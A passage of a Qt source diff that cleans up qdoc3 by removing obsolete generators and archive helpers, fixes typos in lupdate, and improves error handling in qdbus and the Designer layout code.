if (const Spacer *spacer = qobject_cast<const Spacer*>(w))
alignment = spacer->alignment();
- if (rs * cs == 1) {
- addWidgetToGrid(layout, w, r, c, 1, 1, alignment);
- } else {
- addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
- }
+ addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
w->show();
} else {
diff --git a/tools/designer/src/lib/shared/qlayout_widget.cpp b/tools/designer/src/lib/shared/qlayout_widget.cpp
index e9cf51a..66e7a79 100644
--- a/tools/designer/src/lib/shared/qlayout_widget.cpp
+++ b/tools/designer/src/lib/shared/qlayout_widget.cpp
@@ -1189,8 +1189,7 @@ QRect LayoutHelper::itemInfo(QLayout *lt, const QWidget *widget) const
} else {
for (int c = 0; c < FormLayoutColumns; c++) {
const QFormLayout::ItemRole role = c == 0 ? QFormLayout::LabelRole : QFormLayout::FieldRole;
- if (widgets[c]) {
- Q_ASSERT(BoxLayoutHelper::findItemOfWidget(items, widgets[c]));
+ if (widgets[c] && BoxLayoutHelper::findItemOfWidget(items, widgets[c])) {
formLayout->setWidget(r, role, widgets[c]);
} else {
formLayout->setItem(r, role, createFormSpacer());
diff --git a/tools/linguist/lupdate/qdeclarative.cpp b/tools/linguist/lupdate/qdeclarative.cpp
index b85b1a7..1c1e9ad 100644
--- a/tools/linguist/lupdate/qdeclarative.cpp
+++ b/tools/linguist/lupdate/qdeclarative.cpp
@@ -225,7 +225,7 @@ protected:
const QString id = literal->value->asString();
bool plural = node->arguments->next;
- TranslatorMessage msg(QString(), QString(),
+ TranslatorMessage msg(QString(), sourcetext,
QString(), QString(), m_fileName,
node->firstSourceLocation().startLine, QStringList(),
TranslatorMessage::Unfinished, plural);
diff --git a/tools/linguist/lupdate/qscript.cpp b/tools/linguist/lupdate/qscript.cpp
index 1ff7e1c..e53c9dc 100644
--- a/tools/linguist/lupdate/qscript.cpp
+++ b/tools/linguist/lupdate/qscript.cpp
@@ -1530,7 +1530,7 @@ int QScript::Lexer::lex()
} else {
setDone(Bad);
err = IllegalEscapeSequence;
- errmsg = LU::tr("Illegal escape squence");
+ errmsg = LU::tr("Illegal escape sequence");
}
} else if (current == 'x')
state = InHexEscape;
diff --git a/tools/linguist/lupdate/qscript.g b/tools/linguist/lupdate/qscript.g
index 66ec2c7..b8b7b5f 100644
--- a/tools/linguist/lupdate/qscript.g
+++ b/tools/linguist/lupdate/qscript.g
@@ -861,7 +861,7 @@ int QScript::Lexer::lex()
} else {
setDone(Bad);
err = IllegalEscapeSequence;
- errmsg = LU::tr("Illegal escape squence");
+ errmsg = LU::tr("Illegal escape sequence");
}
} else if (current == 'x')
state = InHexEscape;
diff --git a/tools/qdbus/qdbus/qdbus.cpp b/tools/qdbus/qdbus/qdbus.cpp
index 6742810..a3821a1 100644
--- a/tools/qdbus/qdbus/qdbus.cpp
+++ b/tools/qdbus/qdbus/qdbus.cpp
@@ -50,6 +50,10 @@
#include <QtDBus/QtDBus>
#include <private/qdbusutil_p.h>
+QT_BEGIN_NAMESPACE
+Q_DBUS_EXPORT extern bool qt_dbus_metaobject_skip_annotations;
+QT_END_NAMESPACE
+
static QDBusConnection connection(QLatin1String(""));
static bool printArgumentsLiterally = false;
@@ -99,7 +103,7 @@ static void printArg(const QVariant &v)
else if (arg.currentSignature() == QLatin1String("a{sv}"))
printArg(qdbus_cast<QVariantMap>(arg));
else
- printf("qdbus: I don't know how to display an argument of type '%s'\n",
+ printf("qdbus: I don't know how to display an argument of type '%s', run with --literal.\n",
qPrintable(arg.currentSignature()));
} else {
printf("%s\n", qPrintable(v.toString()));
@@ -311,7 +315,11 @@ static int placeCall(const QString &service, const QString &path, const QString
int id = QVariant::nameToType(types.at(i));
if (id == QVariant::UserType)
id = QMetaType::type(types.at(i));
- Q_ASSERT(id);
+ if (!id) {
+ fprintf(stderr, "Cannot call method '%s' because type '%s' is unknown to this tool\n",
+ qPrintable(member), types.at(i).constData());
+ return 1;
+ }
QVariant p;
QString argument;
@@ -435,6 +443,7 @@ static void printAllServices(QDBusConnectionInterface *bus)
int main(int argc, char **argv)
{
+ QT_PREPEND_NAMESPACE(qt_dbus_metaobject_skip_annotations) = true;
QCoreApplication app(argc, argv);
QStringList args = app.arguments();
args.takeFirst();
diff --git a/tools/qdoc3/JAVATODO.txt b/tools/qdoc3/JAVATODO.txt
deleted file mode 100644
index 911b7a5..0000000
--- a/tools/qdoc3/JAVATODO.txt
+++ /dev/null
@@ -1,28 +0,0 @@
- * index page on "O" and downwards?
- * flag types, e.g. QTextStream::NumberFlags
- * example references qt.nokia.com/doc etc.
-
- * fix enum value table (e.g. QCoreApplication.Encoding.html)
- * check reimplementation of interface functions (e.g. QWidget::widthMM())
- * handle '::' in doc, e.g. in QAbstractEventDispatcher's detailed desc
- * make sure default constructor logic doesn't interfere with default params (e.g. QAbstractEventDispatcher ctors)
- * document default constructor provided for Java (e.g.?)
- * document "protected QAbstractEventDispatcher(QtObject.QPrivateConstructor p)" and the like
- * memory-managed, type
-
- * replace QString with String, etc.
- * nested classes
- * enum_1
-
- * fix stylesheet
- * no link to class itself
- * support \ifjava
- * add // C++
- * support Java-only /*! ... */ comments
-
- * links to property names have to be fixed
- * example: version 1 in QStyleOptionFrame
- * example: foo -> isFoo()
-
- * lowercase, and remove final stop, in \brief texts for variables and properties
- * omit "see alsos" that don't work instead of showing them as broken links
diff --git a/tools/qdoc3/TODO.txt b/tools/qdoc3/TODO.txt
index 6deeb06..9bf4a28 100644
--- a/tools/qdoc3/TODO.txt
+++ b/tools/qdoc3/TODO.txt
@@ -10,8 +10,6 @@
* Don't turn X11 and similar names into links.
* Added automatic links from getters to setters and vice versa.
* Support \module and show which module each class is from.
- * Use bullet list for the list of all functions, now that
- Assistant handles these gracefully.
* Fix occasional crash caused by misuse of const_cast().
* Provide clearer error messages when resolves fail.
@@ -55,12 +53,9 @@ MUST HAVES:
* Provide a "List of all properties" page.
* expand QObjectList -> QList<QObject *>
- * make \macro work (?)
* warning for unnamed parameters in property access functions
* \center...\endcenter
- * warning for undocumented enum values
-
LINKS:
* explanation following nonstandard wording warning
@@ -74,8 +69,6 @@ LINKS:
* implement \sidebar
- * implement qbook
-
* implement \legalesefile
* show in which module each class is
@@ -92,5 +85,3 @@ NICE FEATURES:
OTHER:
* make qdoc run faster
* make sure \headerfile works even if specified after \relates
-
- * use qtstyle.css instead of inline style for each page
diff --git a/tools/qdoc3/apigenerator.cpp b/tools/qdoc3/apigenerator.cpp
deleted file mode 100644
index b3f0214..0000000
--- a/tools/qdoc3/apigenerator.cpp
+++ /dev/null
@@ -1,150 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <QFile>
-
-#include "apigenerator.h"
-#include "codemarker.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-static QString indentStr(int indent)
-{
- QString str;
- str.fill(QLatin1Char(' '), indent * 4);
- return str;
-}
-
-static bool lessThanName(Node *node1, Node *node2)
-{
- return node1->name() < node2->name();
-}
-
-QString ApiGenerator::format()
-{
- return QLatin1String("API");
-}
-
-void ApiGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
- QFile outFile(QLatin1String("api"));
- outFile.open(QIODevice::WriteOnly);
-
- out.setDevice(&outFile);
- generateNode(tree->root(), marker);
- out.flush();
-}
-
-void ApiGenerator::generateNode(const Node *node, CodeMarker *marker, int indent)
-{
- if (node->access() == Node::Private)
- return;
-
- switch (node->type()) {
- case Node::Namespace:
- if (!node->name().isEmpty()) {
- out << indentStr(indent) << "Namespace: " << node->name() << "\n";
- ++indent;
- }
- break;
- case Node::Class:
- {
- const ClassNode *classe = static_cast<const ClassNode *>(node);
- out << indentStr(indent) << "Class: " << node->name();
- foreach (const RelatedClass &baseClass, classe->baseClasses()) {
- if (baseClass.access == Node::Public)
- out << " inherits " << baseClass.dataTypeWithTemplateArgs;
- }
- out << "\n";
- ++indent;
- }
- break;
- case Node::Enum:
- {
- const EnumNode *enume = static_cast<const EnumNode *>(node);
- out << indentStr(indent) << "Enum: " << node->name() << "\n";
- ++indent;
-
- QStringList enumNames;
- foreach (const EnumItem &item, enume->items())
- enumNames << item.name();
- qSort(enumNames);
-
- foreach (const QString &name, enumNames)
- out << indentStr(indent) << "Enum value: " << name << "\n";
- }
- break;
- case Node::Typedef:
- out << indentStr(indent) << "Typedef: " << node->name() << "\n";
- ++indent;
- break;
- case Node::Function:
- {
- out << indentStr(indent) << "Function: "
- << plainCode(marker->markedUpSynopsis(node, 0, CodeMarker::Detailed)) << "\n";
- ++indent;
- }
- break;
- case Node::Property:
- {
- const PropertyNode *property = static_cast<const PropertyNode *>(node);
- out << indentStr(indent) << "Property: " << property->name()
- << " type " << property->dataType() << "\n";
- ++indent;
- }
- break;
- default:
- ;
- }
-
- if (node->isInnerNode()) {
- const InnerNode *inner = static_cast<const InnerNode *>(node);
- NodeList nodes = inner->childNodes();
- qSort(nodes.begin(), nodes.end(), lessThanName);
- foreach (const Node *child, nodes)
- generateNode(child, marker, indent);
- }
-
- out.flush();
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/archiveextractor.cpp b/tools/qdoc3/archiveextractor.cpp
deleted file mode 100644
index e9f591e..0000000
--- a/tools/qdoc3/archiveextractor.cpp
+++ /dev/null
@@ -1,108 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- archiveextractor.cpp
-*/
-
-#include "archiveextractor.h"
-
-QT_BEGIN_NAMESPACE
-
-QList<ArchiveExtractor *> ArchiveExtractor::extractors;
-
-/*!
- \class ArchiveExtractor
-
- \brief The ArchiveExtractor class is a base class for classes that
- know how to unpack a certain kind of archive file.
-
- The archive extractor contains a list of the filename extensions
- of the files that the archive extractor knows how to unpack.
-
- It maintains a static list of all the instances of ArchiveExtractor
- that have been created. It also has a static function for searching
- that list to find the archive extracter for a file with a certain
- extension.
- */
-
-/*!
- The constructor takes a list of filename extensions, which it
- copies and saves internally. This archive extractor is prepended
- to the static list.
- */
-ArchiveExtractor::ArchiveExtractor( const QStringList& extensions )
- : fileExts( extensions )
-{
- extractors.prepend( this );
-}
-
-/*!
- The destructor deletes all the filename extensions.
- */
-ArchiveExtractor::~ArchiveExtractor()
-{
- extractors.removeAll( this );
-}
-
-/*!
- This function searches the static list of archive extractors
- to find the first one that can handle \a fileName. If it finds
- an acceptable extractor, it returns a pointer to it. Otherwise
- it returns null.
- */
-ArchiveExtractor*
-ArchiveExtractor::extractorForFileName( const QString& fileName )
-{
- int dot = -1;
- while ( (dot = fileName.indexOf(QLatin1Char('.'), dot + 1)) != -1 ) {
- QString ext = fileName.mid( dot + 1 );
- QList<ArchiveExtractor *>::ConstIterator e = extractors.begin();
- while ( e != extractors.end() ) {
- if ( (*e)->fileExtensions().contains(ext) )
- return *e;
- ++e;
- }
- }
- return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp
index 122a27a..fb473c7 100644
--- a/tools/qdoc3/atom.cpp
+++ b/tools/qdoc3/atom.cpp
@@ -107,6 +107,7 @@ QString Atom::UPPERROMAN_ ("upperroman");
\value CodeOld
\value CodeQuoteArgument
\value CodeQuoteCommand
+ \value Div
\value EndQmlText
\value FormatElse
\value FormatEndif
@@ -179,6 +180,8 @@ static const struct {
{ "CodeOld", Atom::CodeOld },
{ "CodeQuoteArgument", Atom::CodeQuoteArgument },
{ "CodeQuoteCommand", Atom::CodeQuoteCommand },
+ { "Div", Atom::Div },
+ { "EndDiv", Atom::EndDiv },
#ifdef QDOC_QML
{ "EndQmlText", Atom::EndQmlText },
#endif
@@ -190,6 +193,7 @@ static const struct {
{ "FormattingLeft", Atom::FormattingLeft },
{ "FormattingRight", Atom::FormattingRight },
{ "GeneratedList", Atom::GeneratedList },
+ { "GuidLink", Atom::GuidLink},
{ "Image", Atom::Image },
{ "ImageText", Atom::ImageText },
{ "InlineImage", Atom::InlineImage },
@@ -241,25 +245,25 @@ static const struct {
{ 0, 0 }
};
-/*! \fn Atom::Atom( Type type, const QString& string )
+/*! \fn Atom::Atom(Type type, const QString& string)
Constructs an atom (\a type, \a string) outside of any atom list.
*/
-/*! \fn Atom( Atom *prev, Type type, const QString& string )
+/*! \fn Atom(Atom *prev, Type type, const QString& string)
Constructs an atom (\a type, \a string) that follows \a prev in \a
prev's atom list.
*/
-/*! \fn void Atom::appendChar( QChar ch )
+/*! \fn void Atom::appendChar(QChar ch)
Appends \a ch to the string parameter of this atom.
\also string()
*/
-/*! \fn void Atom::appendString( const QString& string )
+/*! \fn void Atom::appendString(const QString& string)
Appends \a string to the string parameter of this atom.
@@ -316,18 +320,18 @@ QString Atom::typeString() const
{
static bool deja = false;
- if ( !deja ) {
+ if (!deja) {
int i = 0;
- while ( atms[i].english != 0 ) {
- if ( atms[i].no != i )
- Location::internalError( tr("atom %1 missing").arg(i) );
+ while (atms[i].english != 0) {
+ if (atms[i].no != i)
+ Location::internalError(tr("atom %1 missing").arg(i));
i++;
}
deja = true;
}
int i = (int) type();
- if ( i < 0 || i > (int) Last )
+ if (i < 0 || i > (int) Last)
return QLatin1String("Invalid");
return QLatin1String(atms[i].english);
}
@@ -346,10 +350,10 @@ QString Atom::typeString() const
void Atom::dump() const
{
QString str = string();
- str.replace( "\\", "\\\\" );
- str.replace( "\"", "\\\"" );
- str.replace( "\n", "\\n" );
- str.replace( QRegExp("[^\x20-\x7e]"), "?" );
+ str.replace("\\", "\\\\");
+ str.replace("\"", "\\\"");
+ str.replace("\n", "\\n");
+ str.replace(QRegExp("[^\x20-\x7e]"), "?");
if (!str.isEmpty())
str = " \"" + str + "\"";
fprintf(stderr,
diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h
index ce86bd4..e3b993e 100644
--- a/tools/qdoc3/atom.h
+++ b/tools/qdoc3/atom.h
@@ -56,82 +56,89 @@ class Atom
{
public:
enum Type {
- AbstractLeft,
- AbstractRight,
+ AbstractLeft, // 00
+ AbstractRight,
AnnotatedList,
AutoLink,
- BaseName,
+ BaseName,
BriefLeft,
- BriefRight,
+ BriefRight,
C,
- CaptionLeft,
+ CaptionLeft,
CaptionRight,
- Code,
- CodeBad,
- CodeNew,
- CodeOld,
+ Code, // 10
+ CodeBad,
+ CodeNew,
+ CodeOld,
CodeQuoteArgument,
CodeQuoteCommand,
+ Div,
#ifdef QDOC_QML
+ EndDiv,
EndQmlText,
#endif
FootnoteLeft,
- FootnoteRight,
- FormatElse,
+ FootnoteRight, // 20
+ FormatElse,
FormatEndif,
FormatIf,
FormattingLeft,
FormattingRight,
GeneratedList,
- Image,
+ GuidLink,
+ Image,
ImageText,
- InlineImage,
+ InlineImage, // 30
+#ifdef QDOC_QML
+ JavaScript,
+ EndJavaScript,
+#endif
LegaleseLeft,
LegaleseRight,
- LineBreak,
- Link,
+ LineBreak,
+ Link,
LinkNode,
- ListLeft,
+ ListLeft,
ListItemNumber,
- ListTagLeft,
- ListTagRight,
- ListItemLeft,
- ListItemRight,
- ListRight,
- Nop,
+ ListTagLeft, // 40
+ ListTagRight, // 41
+ ListItemLeft, // 42
+ ListItemRight, // 43
+ ListRight, // 44
+ Nop,
ParaLeft,
- ParaRight,
+ ParaRight,
#ifdef QDOC_QML
Qml,
QmlText,
#endif
- QuotationLeft,
+ QuotationLeft, // 50
QuotationRight,
RawString,
- SectionLeft,
+ SectionLeft, // 53
SectionRight,
SectionHeadingLeft,
SectionHeadingRight,
- SidebarLeft,
+ SidebarLeft,
SidebarRight,
SinceList,
- SnippetCommand,
+ SnippetCommand, // 60
SnippetIdentifier,
SnippetLocation,
- String,
- TableLeft,
- TableRight,
+ String, // 63
+ TableLeft, // 64
+ TableRight,
TableHeaderLeft,
TableHeaderRight,
TableRowLeft,
- TableRowRight,
- TableItemLeft,
+ TableRowRight,
+ TableItemLeft, // 70
TableItemRight,
TableOfContents,
- Target,
+ Target, // 73
UnhandledFormat,
UnknownCommand,
- Last = UnknownCommand
+ Last = UnknownCommand
};
Atom(Type type, const QString &string = "")
diff --git a/tools/qdoc3/bookgenerator.cpp b/tools/qdoc3/bookgenerator.cpp
deleted file mode 100644
index 17e191f..0000000
--- a/tools/qdoc3/bookgenerator.cpp
+++ /dev/null
@@ -1,64 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- bookgenerator.cpp
-*/
-
-#include "bookgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-BookGenerator::BookGenerator()
-{
-}
-
-BookGenerator::~BookGenerator()
-{
-}
-
-void BookGenerator::generateTree( const Tree *tree, CodeMarker *marker )
-{
- Q_UNUSED( tree )
- Q_UNUSED( marker )
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
index 15228f4..58642ef 100644
--- a/tools/qdoc3/codemarker.cpp
+++ b/tools/qdoc3/codemarker.cpp
@@ -40,7 +40,6 @@
****************************************************************************/
#include <QMetaObject>
-#include <QDebug>
#include "codemarker.h"
#include "config.h"
#include "node.h"
@@ -60,7 +59,6 @@ QList<CodeMarker *> CodeMarker::markers;
been read.
*/
CodeMarker::CodeMarker()
- : slow(false)
{
markers.prepend(this);
}
@@ -75,14 +73,11 @@ CodeMarker::~CodeMarker()
}
/*!
- The only thing a code market initializes is its \e{slow}
- flag. The \e{slow} flag indicates whether the operations
- that slow down qdoc are to be performed or not. It is
- turned off by default.
+ A code market performs no initialization by default. Marker-specific
+ initialization is performed in subclasses.
*/
void CodeMarker::initializeMarker(const Config &config)
{
- slow = config.getBool(QLatin1String(CONFIG_SLOW));
}
/*!
diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
index 7abdaad..65fcdd4 100644
--- a/tools/qdoc3/codemarker.h
+++ b/tools/qdoc3/codemarker.h
@@ -48,6 +48,7 @@
#include <qpair.h>
+#include "atom.h"
#include "node.h"
QT_BEGIN_NAMESPACE
@@ -107,13 +108,6 @@ struct FastSection
};
-#if 0
- const QString& name0 = "",
- const QString& divClass0 = "",
- const QString& singularMember0 = "member",
- const QString& pluralMember0 = "members")
-#endif
-
class CodeMarker
{
public:
@@ -128,12 +122,13 @@ class CodeMarker
virtual bool recognizeCode(const QString& code) = 0;
virtual bool recognizeExtension(const QString& ext) = 0;
virtual bool recognizeLanguage(const QString& lang) = 0;
+ virtual Atom::Type atomType() const = 0;
virtual QString plainName(const Node *node) = 0;
virtual QString plainFullName(const Node *node,
const Node *relative = 0) = 0;
virtual QString markedUpCode(const QString& code,
const Node *relative,
- const QString& dirPath) = 0;
+ const Location &location) = 0;
virtual QString markedUpSynopsis(const Node *node,
const Node *relative,
SynopsisStyle style) = 0;
@@ -171,8 +166,6 @@ class CodeMarker
static QString stringForNode(const Node *node);
protected:
- bool hurryUp() const { return !slow; }
-
virtual QString sortName(const Node *node);
QString protect(const QString &string);
QString typified(const QString &string);
@@ -191,8 +184,6 @@ class CodeMarker
private:
QString macName(const Node *parent, const QString &name = QString());
- bool slow;
-
static QString defaultLang;
static QList<CodeMarker *> markers;
};
diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp
index 0ecf7db..cf91b75 100644
--- a/tools/qdoc3/codeparser.cpp
+++ b/tools/qdoc3/codeparser.cpp
@@ -47,7 +47,6 @@
#include "node.h"
#include "tree.h"
#include "config.h"
-#include <QDebug>
QT_BEGIN_NAMESPACE
@@ -99,14 +98,14 @@ void CodeParser::initializeParser(const Config& config)
}
/*!
- Teerminating a code parser is trivial.
+ Terminating a code parser is trivial.
*/
void CodeParser::terminateParser()
{
// nothing.
}
-QString CodeParser::headerFileNameFilter()
+QStringList CodeParser::headerFileNameFilter()
{
return sourceFileNameFilter();
}
@@ -159,6 +158,42 @@ CodeParser *CodeParser::parserForLanguage(const QString& language)
return 0;
}
+CodeParser *CodeParser::parserForHeaderFile(const QString &filePath)
+{
+ QString fileName = QFileInfo(filePath).fileName();
+
+ QList<CodeParser *>::ConstIterator p = parsers.begin();
+ while (p != parsers.end()) {
+
+ QStringList headerPatterns = (*p)->headerFileNameFilter();
+ foreach (QString pattern, headerPatterns) {
+ QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard);
+ if (re.exactMatch(fileName))
+ return *p;
+ }
+ ++p;
+ }
+ return 0;
+}
+
+CodeParser *CodeParser::parserForSourceFile(const QString &filePath)
+{
+ QString fileName = QFileInfo(filePath).fileName();
+
+ QList<CodeParser *>::ConstIterator p = parsers.begin();
+ while (p != parsers.end()) {
+
+ QStringList sourcePatterns = (*p)->sourceFileNameFilter();
+ foreach (QString pattern, sourcePatterns) {
+ QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard);
+ if (re.exactMatch(fileName))
+ return *p;
+ }
+ ++p;
+ }
+ return 0;
+}
+
/*!
Returns the set of strings representing the common metacommands.
*/
diff --git a/tools/qdoc3/codeparser.h b/tools/qdoc3/codeparser.h
index 683ee16..b297eb9 100644
--- a/tools/qdoc3/codeparser.h
+++ b/tools/qdoc3/codeparser.h
@@ -66,8 +66,8 @@ class CodeParser
virtual void initializeParser(const Config& config);
virtual void terminateParser();
virtual QString language() = 0;
- virtual QString headerFileNameFilter();
- virtual QString sourceFileNameFilter() = 0;
+ virtual QStringList headerFileNameFilter();
+ virtual QStringList sourceFileNameFilter() = 0;
virtual void parseHeaderFile(const Location& location,
const QString& filePath, Tree *tree);
virtual void parseSourceFile(const Location& location,
@@ -78,6 +78,8 @@ class CodeParser
static void initialize(const Config& config);
static void terminate();
static CodeParser *parserForLanguage(const QString& language);
+ static CodeParser *parserForHeaderFile(const QString &filePath);
+ static CodeParser *parserForSourceFile(const QString &filePath);
static const QString titleFromName(const QString& name);
protected:
diff --git a/tools/qdoc3/command.cpp b/tools/qdoc3/command.cpp
deleted file mode 100644
index 917b5b5..0000000
--- a/tools/qdoc3/command.cpp
+++ /dev/null
@@ -1,103 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- command.cpp
-*/
-
-#include <QProcess>
-
-#include "command.h"
-
-#include <stdlib.h>
-
-QT_BEGIN_NAMESPACE
-
-void executeCommand(const Location& location,
- const QString& format,
- const QStringList& args)
-{
- QString actualCommand;
- for (int i = 0; i < (int) format.length(); i++) {
- int ch = format[i].unicode();
- if (ch > 0 && ch < 8) {
- actualCommand += args[ch - 1];
- }
- else {
- actualCommand += format[i];
- }
- }
-
- QString toolName = actualCommand;
- int space = toolName.indexOf(QLatin1Char(' '));
- if (space != -1)
- toolName.truncate(space);
-
-#ifdef QT_BOOTSTRAPPED
- int status = system(qPrintable(actualCommand));
- int exitCode = WEXITSTATUS(status);
- if (status == -1 || exitCode != EXIT_SUCCESS)
- location.fatal(QString("Error executing '$1': $2").arg(toolName).arg(exitCode));
-#else
- QProcess process;
- process.start(QLatin1String("sh"),
- QStringList() << QLatin1String("-c") << actualCommand);
- process.waitForFinished();
-
- if (process.exitCode() == 127)
- location.fatal(tr("Couldn't launch the '%1' tool")
- .arg(toolName),
- tr("Make sure the tool is installed and in the"
- " path."));
-
- QString errors = QString::fromLocal8Bit(process.readAllStandardError());
- while (errors.endsWith(QLatin1Char('\n')))
- errors.truncate(errors.length() - 1);
- if (!errors.isEmpty())
- location.fatal(tr("The '%1' tool encountered some problems")
- .arg(toolName),
- tr("The tool was invoked like this:\n%1\n"
- "It emitted these errors:\n%2")
- .arg(actualCommand).arg(errors));
-#endif
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp
index fa48d08..08a8187 100644
--- a/tools/qdoc3/config.cpp
+++ b/tools/qdoc3/config.cpp
@@ -49,9 +49,7 @@
#include <QTemporaryFile>
#include <QTextStream>
-#include "archiveextractor.h"
#include "config.h"
-#include "uncompressor.h"
#include <stdlib.h>
QT_BEGIN_NAMESPACE
@@ -150,7 +148,6 @@ QStringList MetaStack::getExpanded(const Location& location)
}
QT_STATIC_CONST_IMPL QString Config::dot = QLatin1String(".");
-QMap<QString, QString> Config::uncompressedFiles;
QMap<QString, QString> Config::extractedDirs;
int Config::numInstances;
@@ -178,30 +175,9 @@ Config::Config(const QString& programName)
}
/*!
- The destructor deletes all the temporary files and
- directories it built.
*/
Config::~Config()
{
- if (--numInstances == 0) {
- QMap<QString, QString>::ConstIterator f = uncompressedFiles.begin();
- while (f != uncompressedFiles.end()) {
- QDir().remove(*f);
- ++f;
- }
- uncompressedFiles.clear();
-
- QMap<QString, QString>::ConstIterator d = extractedDirs.begin();
- while (d != extractedDirs.end()) {
- removeDirContents(*d);
- QDir dir(*d);
- QString name = dir.dirName();
- dir.cdUp();
- dir.rmdir(name);
- ++d;
- }
- extractedDirs.clear();
- }
}
/*!
@@ -383,16 +359,12 @@ QSet<QString> Config::subVars(const QString& var) const
*/
QStringList Config::getAllFiles(const QString &filesVar,
const QString &dirsVar,
- const QString &defaultNameFilter,
const QSet<QString> &excludedDirs)
{
QStringList result = getStringList(filesVar);
QStringList dirs = getStringList(dirsVar);
- QString nameFilter = getString(filesVar + dot +
- QLatin1String(CONFIG_FILEEXTENSIONS));
- if (nameFilter.isEmpty())
- nameFilter = defaultNameFilter;
+ QString nameFilter = getString(filesVar + dot + QLatin1String(CONFIG_FILEEXTENSIONS));
QStringList::ConstIterator d = dirs.begin();
while (d != dirs.end()) {
